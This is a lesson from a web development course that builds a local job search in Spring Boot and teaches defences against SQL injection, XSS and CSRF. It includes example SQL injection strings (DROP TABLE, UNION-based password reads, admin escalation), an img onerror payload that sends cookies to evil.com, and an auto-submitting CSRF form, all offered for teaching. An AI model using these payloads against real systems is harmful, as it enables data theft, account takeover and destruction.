Lesson 7 of 8
Search Features & Security Basics
Estimated time: 2.5–3 hours
What You Will Learn
- Build a local database search that queries previously fetched jobs without using API calls
- Write parameterized JPQL queries with
@Queryand@Param - Understand SQL injection — what it is, how it works, and why parameterized queries prevent it
- Recognize Cross-Site Scripting (XSS) and how Thymeleaf and
.textContentprevent it - Add input validation and sanitization to protect your application
- Implement search filters (state, salary) and sort options
- Know the OWASP Top 10 and essential security resources
1. The Smart Search Problem
Think about how your Resumator application works right now. Every time a user searches for jobs, your application calls the JSearch API. Type "Java Developer" and hit search — that is one API request. Type it again five minutes later — another API request. Search for "Software Engineer in Austin" on Monday, then the same search on Tuesday — two more requests. Every single search, no matter how repetitive, costs you one of your precious 200 monthly API calls.
But here is the thing: your jobs table already has hundreds of stored results. Every time you called the JSearch API in previous lessons, those results were saved to your database. You have been building up a local collection of real job listings this entire time. Right now, that data is just sitting there, unused, while you burn through API requests to fetch the same kind of results you already have.
What if you searched your own database first? What if, before spending an API request, your application checked whether it already had relevant results stored locally?
This is exactly what we are going to build. Two search modes:
- Local search — free, instant, unlimited. Searches the jobs already in your database. Costs zero API requests. Returns results in milliseconds because it is a direct database query with no network latency.
- API search — costs 1 API request. Calls JSearch for fresh results from across the internet. Use this when you want new listings or when local results are not sufficient.
The user interface should let the user choose between these modes, with local search as the default. Why local as default? Because it is the smart default. Most of the time, users are browsing, filtering, and re-checking jobs they have already seen. They do not need fresh API data for that. And when they do want fresh results, they can explicitly switch to API search.
Think about the math. You have 200 API requests per month. If you search twice a day, that is roughly 60 searches per month just for your daily use. But if your local database already has 500 job listings from previous searches, many of those daily searches could be answered locally. You might only need 20 API calls per month for genuinely new searches, saving 40 requests. Those saved requests add up, and they make the difference between hitting your quota mid-month and having plenty of headroom.
Let us build the local search first, then connect it to the UI. But along the way, we are going to encounter something critical — something that every developer must understand before they ever let a user type into a search box. We are going to talk about security.
2. Building the Local Search
To search your local database, you need a way to query the jobs table by keyword. The user might type a job title like "Developer", a company name like "Google", or a city like "Austin". Your query needs to check all of these fields and return any job that matches.
In Spring Data JPA, you can write custom queries using JPQL (Java Persistence Query Language). JPQL looks similar to SQL, but instead of querying tables and columns directly, it queries your Java entities and their fields. You write the query using the @Query annotation on a repository method.
Add this method to your JobRepository:
@Query("SELECT j FROM Job j WHERE " +
"LOWER(j.jobTitle) LIKE LOWER(CONCAT('%', :keyword, '%')) OR " +
"LOWER(j.employerName) LIKE LOWER(CONCAT('%', :keyword, '%')) OR " +
"LOWER(j.jobCity) LIKE LOWER(CONCAT('%', :keyword, '%'))")
List<Job> searchByKeyword(@Param("keyword") String keyword);
There is a lot going on in that query, so let us break it down piece by piece:
SELECT j FROM Job j— This selects all fields from theJobentity. Thejis an alias, just like in SQL. Notice we writeJob(the Java class name), notjobs(the table name). That is the JPQL difference.LOWER(j.jobTitle)— TheLOWER()function converts the value to lowercase. We apply it to both the database field and the search term so that searching for "developer", "Developer", or "DEVELOPER" all return the same results. This is case-insensitive matching.LIKE LOWER(CONCAT('%', :keyword, '%'))— TheLIKEoperator with%wildcards on both sides means "contains this text anywhere in the string."CONCATbuilds the pattern by wrapping the keyword with%on each side.:keyword— This is a named parameter. It is a placeholder that Spring will fill in with the actual value passed to the method. The colon prefix tells JPA "this is a parameter, not a column name."@Param("keyword")— This annotation on the method parameter tells Spring which named parameter in the query it corresponds to. The name in@Parammust exactly match the name after the colon in the query.OR— We check three fields:jobTitle,employerName, andjobCity. If the keyword matches any of them, the job is included in the results.
Now add the controller endpoint that calls this repository method. In your JobController (or create a dedicated SearchController):
@GetMapping("/local")
public List<Job> searchLocal(@RequestParam String keyword) {
return jobRepository.searchByKeyword(keyword);
}
That is it. Two pieces — a repository method with a custom query and a controller endpoint that calls it. When a user hits /api/jobs/local?keyword=developer, here is the complete flow:
- The browser sends a GET request to
/api/jobs/local?keyword=developer - Spring's
@RequestParamextracts thekeywordparameter from the URL — the value is"developer" - The controller calls
jobRepository.searchByKeyword("developer") - Spring Data JPA takes the JPQL query, translates it to SQL, and substitutes
:keywordwith"developer"as a parameter - MySQL executes the query and returns all matching rows
- JPA maps each row back to a
JobJava object - Spring serializes the list of
Jobobjects to JSON and returns it in the HTTP response
The query runs entirely on your local MySQL database. No API call. No network latency. No quota consumed. If you have 847 jobs saved from previous API searches, this endpoint searches through all 847 of them instantly.
Try it yourself. Start your Spring Boot application, open your browser, and navigate to http://localhost:8080/api/jobs/local?keyword=developer. You should see a JSON array of jobs whose titles, company names, or cities contain the word "developer." Try different keywords — a company name, a city, a technology. Each search is free and instant.
You might also want to add a count endpoint so the frontend can show users how many jobs are in their local database. This is simple:
@GetMapping("/count")
public long getJobCount() {
return jobRepository.count(); // Built-in Spring Data method
}
The count() method is provided automatically by JpaRepository — you do not need to write it. It returns the total number of rows in the jobs table. This powers the "Searching 847 saved jobs" display in the UI, which makes the local database feel like a valuable asset that grows every time the user does an API search.
Job, jobTitle, employerName), while SQL uses your database table and column names (jobs, job_title, employer_name). JPA translates JPQL to the correct SQL for your database automatically. This means if you ever switched from MySQL to PostgreSQL, your JPQL queries would still work without changes.
Before we build the frontend for this, we need to stop and talk about something extremely important. You just built a feature where a user types text into a search box, and that text gets inserted into a database query. That sentence should make every experienced developer's alarm bells go off. Here is why.
3. STOP. What About SQL Injection?
Before we go any further, we need to talk about one of the most dangerous security vulnerabilities in the history of software. This is not theoretical. This is not something that only happens to other people. This vulnerability has been used to breach governments, steal millions of credit card numbers, expose personal data of hundreds of millions of people, and destroy entire databases. It is called SQL injection.
And it happens when developers do exactly what sounds natural: take what a user typed and put it into a database query.
Imagine you wrote your search query like this instead of using parameterized queries:
// NEVER DO THIS — vulnerable to SQL injection!
String sql = "SELECT * FROM jobs WHERE job_title LIKE '%" + userInput + "%'";
This code takes whatever the user typed (userInput) and glues it directly into the SQL string. If the user types developer, the resulting SQL is:
SELECT * FROM jobs WHERE job_title LIKE '%developer%'
That looks fine. It works. It returns Java developer jobs. No problem, right?
Now imagine a malicious user. Instead of typing a job title, they type this into the search box:
Your code dutifully concatenates that string into the SQL query. The resulting SQL becomes:
Read that carefully. The attacker's input closed the original string with ', ended the first statement with ;, then added an entirely new SQL command: DROP TABLE jobs;. The -- at the end is a SQL comment, which tells the database to ignore the remaining %' that your code appended.
The database sees two commands:
SELECT * FROM jobs WHERE job_title LIKE '%'— a harmless selectDROP TABLE jobs— DELETE THE ENTIRE JOBS TABLE
Gone. Every record. Every job listing you ever saved. Destroyed by a single HTTP request. One line typed into a search box.
And it does not stop at DROP TABLE. An attacker could use SQL injection to:
- Read every row in every table:
' UNION SELECT username, password FROM users --— This appends a second query that reads the entire users table and returns it alongside the normal search results. The attacker sees usernames and passwords right in their browser. - Modify data:
'; UPDATE users SET role='admin' WHERE username='attacker' --— This promotes the attacker's account to admin, giving them full access to the system. - Create new admin accounts:
'; INSERT INTO users (username, password, role) VALUES ('hacker', 'password', 'admin') -- - Download your entire database: Using techniques like UNION-based extraction, an attacker can systematically read every table, column, and row in your database across multiple requests.
- Execute operating system commands: In some database configurations (particularly older MySQL with FILE privilege or SQL Server with xp_cmdshell), SQL injection can be escalated to run commands directly on the server operating system.
There is a famous XKCD comic about this. A school calls a mother and says, "Did you really name your son Robert'); DROP TABLE Students;--?" She responds, "Oh yes. Little Bobby Tables, we call him." The joke is that the school's student registration system was vulnerable to SQL injection, and the student's name destroyed the Students table when it was inserted. It is funny because it is terrifyingly plausible.
Think about it from the database's perspective. When you concatenate user input into a SQL string, the database receives one long text string. It has no way to know which parts were written by you (the developer) and which parts were typed by the user. It treats the entire string as SQL and executes all of it. The database is doing exactly what it was told to do. The problem is that the developer accidentally gave the attacker the ability to write part of the instructions.
SQL Injection
SQL injection is a security vulnerability where an attacker inserts (or "injects") malicious SQL code through user input fields. It happens whenever user-provided text is concatenated directly into a SQL query string. The database cannot tell the difference between the developer's intended SQL and the attacker's injected SQL, so it executes everything.
Now here is the good news. There is a simple, reliable way to prevent this entirely. You have already been using it.
4. How Parameterized Queries Protect You
Look at the query you wrote earlier:
@Query("SELECT j FROM Job j WHERE LOWER(j.jobTitle) LIKE LOWER(CONCAT('%', :keyword, '%'))")
List<Job> searchByKeyword(@Param("keyword") String keyword);
See the :keyword? That is a parameter placeholder. It is fundamentally different from string concatenation, and understanding why is one of the most important things you will learn as a developer.
When you use a parameterized query, here is what happens behind the scenes:
- Step 1: Spring/JPA sends the query structure to the database:
SELECT j FROM Job j WHERE LOWER(j.jobTitle) LIKE LOWER(CONCAT('%', ?, '%')). The?is a placeholder. The database parses this structure and compiles it into an execution plan. - Step 2: Spring/JPA sends the parameter value separately:
"developer". - Step 3: The database plugs the value into the placeholder. Crucially, it treats the value as data only. It does not re-parse the SQL. It does not look for SQL commands inside the value. The value is data, period.
This means if a malicious user types '; DROP TABLE jobs; -- into your search box, the database receives:
- Query structure:
SELECT ... WHERE LOWER(j.jobTitle) LIKE LOWER(CONCAT('%', ?, '%')) - Parameter value:
"'; DROP TABLE jobs; --"
The database searches for job titles containing the literal text '; DROP TABLE jobs; --. It finds nothing, because no job title contains that string. It returns zero results. Your data is completely safe. The DROP TABLE is never executed because the database never interprets the parameter as SQL — it is just a string being compared against column values.
The Golden Rule of Database Queries
NEVER build SQL or JPQL by concatenating user input into the query string. ALWAYS use parameterized queries. This applies to every programming language, every database, every framework, everywhere, always. There are no exceptions.
Here is some excellent news: you have been writing safe queries this entire time. Every Spring Data JPA method you have used — findById(), findByJobId(), save(), deleteById() — is parameterized automatically. Spring Data generates the SQL behind the scenes, and it always uses parameters. The @Query annotation with :named parameters is also safe. You have been protected from SQL injection since Lesson 24 without even knowing it.
The only way to accidentally introduce SQL injection in a Spring Boot application is to use raw string concatenation with EntityManager.createNativeQuery(). Here is what that dangerous pattern looks like:
// DANGEROUS — raw string concatenation with native query
@PersistenceContext
private EntityManager entityManager;
public List<Job> unsafeSearch(String userInput) {
String sql = "SELECT * FROM jobs WHERE job_title LIKE '%" + userInput + "%'";
return entityManager.createNativeQuery(sql, Job.class).getResultList();
}
// SAFE — parameterized native query
public List<Job> safeSearch(String userInput) {
String sql = "SELECT * FROM jobs WHERE job_title LIKE :keyword";
return entityManager.createNativeQuery(sql, Job.class)
.setParameter("keyword", "%" + userInput + "%")
.getResultList();
}
The first method is vulnerable. The second method is safe. The difference is whether user input is concatenated into the string (dangerous) or passed as a parameter (safe). If you ever see code that builds a query string by adding user input with +, treat it as a critical security bug that needs to be fixed immediately.
5. Building the Search UI
Now that you understand the security foundation, let us build the user interface. We want two search modes with a clean way to switch between them:
- "Search saved jobs" — the default. Queries your local database. Free and instant.
- "Search for new jobs" — calls the JSearch API. Costs one API request. Use when you want fresh listings.
Here is the HTML for the search form with toggle tabs. Add this to your search page (or create a new template):
<div class="search-container">
<div class="search-tabs">
<button class="search-tab active" data-mode="local">Search Saved Jobs</button>
<button class="search-tab" data-mode="api">Search for New Jobs</button>
</div>
<p class="search-info" id="searchInfo">Searching <span id="jobCount">0</span> saved jobs</p>
<!-- Local search form (default) -->
<div class="search-form" id="localForm">
<input type="text" id="localKeyword" placeholder="Search by title, company, or city..."
maxlength="200" />
<button id="localSearchBtn" class="btn btn-primary">Search</button>
</div>
<!-- API search form (hidden by default) -->
<div class="search-form" id="apiForm" style="display: none;">
<input type="text" id="apiTitle" placeholder="Job title (e.g., Java Developer)" />
<input type="text" id="apiCity" placeholder="City (e.g., Austin)" />
<input type="text" id="apiState" placeholder="State (e.g., TX)" />
<button id="apiSearchBtn" class="btn btn-primary">Search API</button>
<p class="api-notice">This uses 1 API request from your monthly quota.</p>
</div>
<div id="searchResults"></div>
</div>
Notice the two forms: localForm is visible by default and has a single keyword input, while apiForm is hidden and has the full title/city/state fields you built in earlier lessons. The searchInfo paragraph shows the user how many jobs are in their local database, making the local collection feel valuable — "Searching 847 saved jobs" is much more compelling than a blank search box.
Now the JavaScript that powers the tab switching and search functionality:
// Tab switching
const tabs = document.querySelectorAll('.search-tab');
const localForm = document.getElementById('localForm');
const apiForm = document.getElementById('apiForm');
const searchInfo = document.getElementById('searchInfo');
tabs.forEach(tab => {
tab.addEventListener('click', () => {
tabs.forEach(t => t.classList.remove('active'));
tab.classList.add('active');
const mode = tab.dataset.mode;
if (mode === 'local') {
localForm.style.display = 'flex';
apiForm.style.display = 'none';
searchInfo.style.display = 'block';
} else {
localForm.style.display = 'none';
apiForm.style.display = 'flex';
searchInfo.style.display = 'none';
}
});
});
// Load the saved job count on page load
fetch('/api/jobs/count')
.then(res => res.json())
.then(count => {
document.getElementById('jobCount').textContent = count;
});
// Local search — queries YOUR database, free and instant
document.getElementById('localSearchBtn').addEventListener('click', () => {
const keyword = document.getElementById('localKeyword').value.trim();
if (!keyword) return;
fetch(`/api/jobs/local?keyword=${encodeURIComponent(keyword)}`)
.then(res => res.json())
.then(jobs => {
displayResults(jobs, 'local');
});
});
// API search — calls JSearch, costs 1 request
document.getElementById('apiSearchBtn').addEventListener('click', () => {
const title = document.getElementById('apiTitle').value.trim();
const city = document.getElementById('apiCity').value.trim();
const state = document.getElementById('apiState').value.trim();
if (!title) return;
const params = new URLSearchParams({ title });
if (city) params.append('city', city);
if (state) params.append('state', state);
fetch(`/api/jobs/search?${params.toString()}`)
.then(res => res.json())
.then(jobs => {
displayResults(jobs, 'api');
// Refresh the local count since new jobs were saved
fetch('/api/jobs/count')
.then(res => res.json())
.then(count => {
document.getElementById('jobCount').textContent = count;
});
});
});
// Display results — notice we use .textContent, NOT .innerHTML
function displayResults(jobs, mode) {
const container = document.getElementById('searchResults');
container.innerHTML = ''; // Clear previous results (safe — no user data here)
if (jobs.length === 0) {
const msg = document.createElement('p');
msg.textContent = mode === 'local'
? 'No saved jobs match your search. Try searching for new jobs via the API.'
: 'No results found. Try different search terms.';
container.appendChild(msg);
return;
}
jobs.forEach(job => {
const card = document.createElement('div');
card.className = 'job-card';
const title = document.createElement('h3');
title.textContent = job.jobTitle; // .textContent — safe from XSS
const company = document.createElement('p');
company.textContent = job.employerName; // .textContent — safe from XSS
const location = document.createElement('p');
location.textContent = `${job.jobCity || ''}, ${job.jobState || ''}`;
card.appendChild(title);
card.appendChild(company);
card.appendChild(location);
container.appendChild(card);
});
}
There are several important things to notice in this JavaScript:
encodeURIComponent(keyword)— This encodes the user's input for safe inclusion in a URL. Without this, special characters like&or=in the search term could break the URL structure..textContent— Every place where we display data from the server, we use.textContentinstead of.innerHTML. We will explain why in detail in Part 7, but the short version is:.textContentis safe,.innerHTMLis dangerous. This callback goes all the way back to Lesson 6, where you first learned the difference.- Two distinct fetch calls — Local search hits
/api/jobs/local(your database), API search hits/api/jobs/search(the JSearch API through your backend). The user controls which one to use. - Count refresh after API search — After an API search saves new jobs, we update the local count so the user sees their local collection growing.
Test the complete search flow. Start your application, navigate to the search page, and try searching with the "Search Saved Jobs" tab active. Type a keyword and click search. You should see results appear instantly from your local database. Then switch to the "Search for New Jobs" tab, enter a job title and city, and click "Search API." New results should appear, and the saved job count should increase as those new results are stored in your database. Every API search makes your local database more valuable.
keypress event on the search input and trigger the search when the user presses Enter. This is a small usability improvement that users expect from any search interface:
document.getElementById('localKeyword').addEventListener('keypress', (e) => {
if (e.key === 'Enter') {
document.getElementById('localSearchBtn').click();
}
});
6. Search Filters and Sorting
A keyword search is a great start, but users often want to narrow their results further. "Show me only jobs in Texas." "Show me only jobs that pay at least $80,000." "Show me the newest jobs first." These are filters and sort options, and they are straightforward to add with Spring Data JPA.
Add these methods to your JobRepository:
// Filter by state
List<Job> findByJobStateIgnoreCase(String state);
// Filter by salary — find jobs where either min or max salary meets the threshold
@Query("SELECT j FROM Job j WHERE j.jobMinSalary >= :min OR j.jobMaxSalary >= :min")
List<Job> findBySalaryAtLeast(@Param("min") Double min);
// Sort options
List<Job> findAllByOrderByFirstSeenAtDesc(); // Newest first
List<Job> findAllByOrderByEmployerNameAsc(); // Alphabetical by company
Let us walk through each of these:
findByJobStateIgnoreCase(String state)— Spring Data JPA generates the query from the method name.findBystarts a query,JobStateidentifies the field, andIgnoreCasemakes the comparison case-insensitive. SofindByJobStateIgnoreCase("TX")andfindByJobStateIgnoreCase("tx")return the same results. This is all parameterized automatically — the state value is always treated as data, never as SQL.findBySalaryAtLeast— This uses@Querybecause the logic (checking eitherjobMinSalaryorjobMaxSalary) is more complex than what Spring Data can generate from a method name alone. The:minparameter is safe — parameterized.findAllByOrderByFirstSeenAtDesc()— Returns all jobs sorted by when they were first seen, newest first. TheDescsuffix means descending order. No user input at all here, so no injection risk.findAllByOrderByEmployerNameAsc()— Returns all jobs sorted alphabetically by company name.Ascmeans ascending (A to Z).
Notice the pattern: every single one of these methods is parameterized and safe. Every method that accepts user input (state, min) passes it as a parameter, not as concatenated text. You are building secure queries by default.
You can also combine filters. If you want to search by keyword within a specific state, add a more specific repository method:
@Query("SELECT j FROM Job j WHERE " +
"(LOWER(j.jobTitle) LIKE LOWER(CONCAT('%', :keyword, '%')) OR " +
" LOWER(j.employerName) LIKE LOWER(CONCAT('%', :keyword, '%'))) " +
"AND LOWER(j.jobState) = LOWER(:state)")
List<Job> searchByKeywordAndState(@Param("keyword") String keyword,
@Param("state") String state);
Two parameters, both safe, both parameterized. The query finds jobs matching the keyword that are also in the specified state. As your application grows, you can add as many filter combinations as you need.
Specification interface or Querydsl. These let you build queries dynamically by composing filter criteria. But for a project with a few filter options, individual repository methods like these are perfectly clean and maintainable.
7. Input Validation
Parameterized queries protect you from SQL injection, but security does not stop there. You also need to validate and sanitize user input before it reaches your application logic. Think of it as defense in depth — multiple layers of protection, so that if one layer fails, the others still keep you safe.
Input Length Limits
What happens if someone pastes 10,000 characters into your search box? Or 100,000? Without limits, your application would try to search for a 100,000-character keyword, which could slow down your database query, consume excessive memory, or be used as part of a denial-of-service attack.
Add a length limit with the @Size annotation from Jakarta Validation:
@GetMapping("/local")
public List<Job> searchLocal(@RequestParam @Size(max = 200) String keyword) {
return jobRepository.searchByKeyword(keyword.trim());
}
The @Size(max = 200) annotation tells Spring to reject any request where the keyword is longer than 200 characters. Spring will automatically return a 400 Bad Request error if the limit is exceeded. You also want to make sure you have the spring-boot-starter-validation dependency in your pom.xml:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-validation</artifactId>
</dependency>
You also need the @Validated annotation on your controller class for the @Size constraint to be enforced:
package com.example.resumator.controller;
@RestController
@RequestMapping("/api/jobs")
@Validated // Enables method-level validation
public class JobController {
// ...
}
Notice we also call keyword.trim() to remove leading and trailing whitespace. A user might accidentally type " developer " with spaces. Trimming ensures the search works as expected. You should also consider what happens if the user sends an empty string after trimming — you can add a check and return an empty list immediately instead of running a database query for nothing:
@GetMapping("/local")
public List<Job> searchLocal(@RequestParam @Size(max = 200) String keyword) {
String trimmed = keyword.trim();
if (trimmed.isEmpty()) {
return List.of(); // Return empty list, no database query needed
}
return jobRepository.searchByKeyword(trimmed);
}
Cross-Site Scripting (XSS)
SQL injection is about attacking your database. Cross-Site Scripting — XSS — is about attacking your users. It works differently but is just as dangerous.
Imagine someone types this into your search box:
If your application takes that text and inserts it into the page using .innerHTML, the browser sees a <script> tag and executes it. In this example, it just shows an alert box. But a real attacker would not show an alert. They would inject JavaScript that:
- Steals the user's session cookie and sends it to the attacker's server
- Redirects the user to a fake login page to harvest their password
- Modifies the page content to show false information
- Installs a keylogger that captures everything the user types
This is XSS. The attacker "injects" JavaScript through user input, and it executes in the victim's browser.
The good news: you already know how to prevent this, and you have been doing it.
In Thymeleaf: The th:text attribute automatically escapes HTML characters. If you display user input with th:text, the text <script>alert('hacked')</script> is rendered as the literal string <script>alert('hacked')</script> in the HTML. The browser displays it as text, not as a script tag. It never executes. You are safe.
th:utext attribute does NOT escape HTML. The "u" stands for "unescaped." Never use th:utext with user-provided data. Only use it for content you fully control, like pre-written HTML snippets from your own code.
In JavaScript: Use .textContent, not .innerHTML. This is a lesson you learned way back in Lesson 6, and now you understand the full security reason behind it. When you set element.textContent = userInput, the browser treats the value as plain text. It does not parse HTML tags or execute scripts. When you set element.innerHTML = userInput, the browser does parse the HTML, and any <script> tags will execute.
Look back at the displayResults function from Part 5. Every place where we display data from the server — job titles, company names, locations — we use .textContent:
const title = document.createElement('h3');
title.textContent = job.jobTitle; // SAFE — renders as text, never as HTML
// vs
title.innerHTML = job.jobTitle; // DANGEROUS — would execute any HTML/scripts
To make this concrete, imagine a malicious user somehow got a job listing into your database with the title <img src=x onerror="document.location='https://evil.com/steal?cookie='+document.cookie">. If you render that with .innerHTML, the browser creates an <img> tag, fails to load the image (since src=x is invalid), triggers the onerror handler, and redirects the user to the attacker's website — sending the user's session cookie along with it. The attacker can now impersonate that user.
With .textContent, the browser displays that entire string as literal text on the page. No image tag is created. No error handler fires. No cookie is stolen. The user sees an ugly string, but they are safe.
The .textContent vs .innerHTML Rule
Use .textContent when displaying any data that came from a user, a database, or an API. Use .innerHTML only when you are inserting HTML that you wrote yourself and that contains no user-provided data. When in doubt, use .textContent.
Rate Limiting
Even with validation and sanitization, you should consider limiting how often a single user can make requests. If someone writes a script that sends 1,000 search requests per second to your local search endpoint, it could overwhelm your database. This is called a denial-of-service (DoS) attack.
Rate limiting is a broad topic that we will not implement in full here, but be aware that it exists. In production, you would use tools like Spring Security's rate limiter, a reverse proxy like Nginx with rate limiting configuration, or a cloud service like AWS WAF or Cloudflare. The concept is simple: track how many requests each client makes within a time window, and reject requests that exceed the limit.
8. The Three Vulnerabilities Every Developer Must Know
You now understand the two most common web application vulnerabilities in practical detail. Let us put them in context alongside one more that you should know about, and then look at the broader security landscape.
| Vulnerability | What It Does | How You Prevent It |
|---|---|---|
| SQL Injection | Attacker injects malicious SQL through user input to read, modify, or delete database data | Parameterized queries (@Query with @Param, Spring Data JPA methods). Never concatenate user input into SQL strings. |
| XSS (Cross-Site Scripting) | Attacker injects malicious JavaScript through user input to steal cookies, redirect users, or modify page content | Thymeleaf's th:text (auto-escapes HTML). In JavaScript, use .textContent instead of .innerHTML. Never render raw user input as HTML. |
| CSRF (Cross-Site Request Forgery) | Attacker tricks a logged-in user's browser into making unwanted requests (e.g., transferring money, changing a password) by embedding a hidden form on a malicious website | CSRF tokens — Spring Security generates a unique token for each session and requires it on every state-changing request. If the token is missing or wrong, the request is rejected. |
You have directly addressed SQL injection and XSS in this lesson. CSRF is the third member of this critical trio, and it is worth understanding how it works even though it does not apply to your current application yet.
Here is a CSRF scenario: imagine your Resumator had a user login system. You log in to your account. Your browser now has a session cookie that proves you are authenticated. While you are still logged in, you visit a different website — maybe a forum or a blog. That website has a hidden form embedded in the page:
<!-- Hidden on a malicious website -->
<form action="https://your-resumator.com/api/account/delete" method="POST">
<input type="hidden" name="confirm" value="yes" />
</form>
<script>document.forms[0].submit();</script>
The malicious page automatically submits a form to your Resumator. Because your browser still has the session cookie, the request looks legitimate to your server. Your account gets deleted — and you never clicked anything on your Resumator site. That is CSRF: the attacker "forged" a request that appeared to come from you.
CSRF tokens prevent this. Spring Security generates a unique, unpredictable token for each user session and requires it on every state-changing request (POST, PUT, DELETE). The malicious website cannot know the token because it is unique to your session and never exposed to other sites. Without the correct token, the request is rejected. You have not needed to worry about CSRF yet because your application does not have user authentication — there is no logged-in user to trick. But when you add Spring Security in the future, CSRF protection is enabled by default.
Other Security Concepts
Beyond these three core vulnerabilities, there are several other security practices that every developer should be aware of:
- HTTPS: Encrypts all data in transit between the browser and your server. Without HTTPS, anyone on the same network (a coffee shop Wi-Fi, for example) can read everything your users send and receive — including passwords, session cookies, and personal data. In production, HTTPS is non-negotiable.
- Password hashing: Never store passwords as plain text. If your database is breached, every user's password would be exposed. Instead, use a one-way hash function like bcrypt. Spring Security provides built-in bcrypt support. The hash is irreversible — even if an attacker gets the hash, they cannot determine the original password (at least not without enormous computational effort).
- API key security: Never put API keys in frontend code or commit them to git. You learned this in Lesson 23 when you set up your JSearch API key in
application.propertiesand added that file to.gitignore. If an API key is exposed in a public GitHub repository, automated bots will find it within minutes and abuse it. - Principle of least privilege: Give every user and service only the minimum permissions they need. You already practiced this — in Lesson 23, you created a dedicated
resumator_appdatabase user with access only to theresumatordatabase, instead of using the MySQL root account. If that database user's credentials were ever compromised, the attacker could only access one database, not your entire MySQL server. - Keep dependencies updated: Libraries and frameworks regularly release security patches. An outdated dependency with a known vulnerability is an open door for attackers. Tools like
mvn versions:display-dependency-updatesor GitHub's Dependabot can alert you when updates are available.
Security Is Everyone's Responsibility
Security is not someone else's job. Every line of code you write either makes your application more secure or less secure. Every developer is responsible for writing secure code — using parameterized queries, escaping output, validating input, protecting secrets, and keeping dependencies updated. These are not optional best practices. They are fundamental requirements of professional software development.
9. Security Resources
This lesson gave you the practical foundation — the vulnerabilities you are most likely to encounter and the specific techniques to prevent them. But security is a vast field, and there is always more to learn. Here are the resources that the security community considers essential:
- OWASP Top 10 — The industry standard list of the ten most critical web application security risks, updated regularly. SQL injection, XSS, and CSRF are all on it. Every developer should read this at least once. (owasp.org)
- OWASP Cheat Sheet Series — Practical, concise guides on specific security topics. There are cheat sheets for SQL injection prevention, XSS prevention, authentication, session management, and dozens more. Excellent reference material.
- Spring Security Documentation — When you are ready to add authentication and authorization to your Spring Boot applications, this is the definitive guide. Spring Security is comprehensive and well-documented.
- "The Web Application Hacker's Handbook" by Dafydd Stuttard — Considered the bible of web application security testing. Covers attack techniques and defenses in deep detail. A dense but invaluable read for anyone serious about security.
- PortSwigger Web Security Academy — Free, hands-on training labs from the creators of Burp Suite (a professional security testing tool). You can practice real attacks in a safe environment. Outstanding for building practical skills. (portswigger.net)
- HackTheBox and TryHackMe — Gamified platforms where you learn security by hacking intentionally vulnerable machines and applications. TryHackMe is more beginner-friendly; HackTheBox is more advanced. Both are excellent for hands-on learning.
Security is an entire career path. Roles like Information Security (InfoSec) engineer, Application Security (AppSec) engineer, and penetration tester are among the highest-paying positions in the technology industry. Companies pay a premium for people who can find and fix security vulnerabilities before attackers exploit them.
Even if you do not specialize in security, the knowledge you gained in this lesson is not optional. Every developer writes code that handles user input, queries databases, and renders data in browsers. Every developer is responsible for doing those things securely. The difference between a junior developer and a senior developer is not just knowing how to build features — it is knowing how to build features that cannot be exploited.
In job interviews, security questions come up regularly. "How do you prevent SQL injection?" "What is XSS and how do you guard against it?" "How do you handle sensitive data like API keys?" You can now answer all of these confidently, with specific technical detail and real examples. That alone sets you apart from many candidates who learned to build features but never learned to build them safely.
Test Your Knowledge
1. What is SQL injection and how do parameterized queries prevent it?
'; DROP TABLE jobs; --, the database searches for that literal string instead of executing it as a command.2. Why is local search preferable to API search when the data already exists?
3. What does Thymeleaf's th:text do that prevents XSS attacks?
th:text automatically escapes HTML characters in the output, converting characters like < and > to their safe entity equivalents (< and >) so they display as text rather than being executed as HTML or JavaScript. This means if user input contains <script>alert('hacked')</script>, Thymeleaf renders it as the visible text "<script>alert('hacked')</script>" on the page — the browser never interprets it as an actual script tag.Lesson Summary
This was a lesson that combined practical feature development with critical security knowledge. You did not just add a search feature — you learned why certain coding practices exist, what happens when they are ignored, and how the tools you have been using all along were protecting you from real attacks.
What You Built
Your Resumator now has dual search modes (local database and API), parameterized queries throughout, input validation, and you understand the critical security vulnerabilities that every web developer must guard against.
Here is what you accomplished in this lesson:
- You built a local search feature that queries your database by keyword, checking job titles, company names, and cities with case-insensitive matching using JPQL.
- You learned about SQL injection — how it works, why it is devastating, and how parameterized queries completely prevent it by separating query structure from user data.
- You built a dual-mode search UI with tab switching between local and API search, complete with a job count display that makes your local database feel like a valuable asset.
- You added filters and sort options — by state, by salary, by date, by company name — all using safe, parameterized Spring Data JPA methods.
- You understood XSS and why
.textContentandth:textare your first line of defense against script injection in the browser. - You added input validation with
@Sizeand.trim()to limit and clean user input before processing. - You learned the three critical web vulnerabilities (SQL injection, XSS, CSRF) and the broader security concepts that every developer must understand.
In the next and final lesson, you will step back and look at the entire journey — from your first HTML tag to a complete, secure, full-stack web application. You will review what you built, reflect on what you learned, and explore where to go next.
Finished this lesson?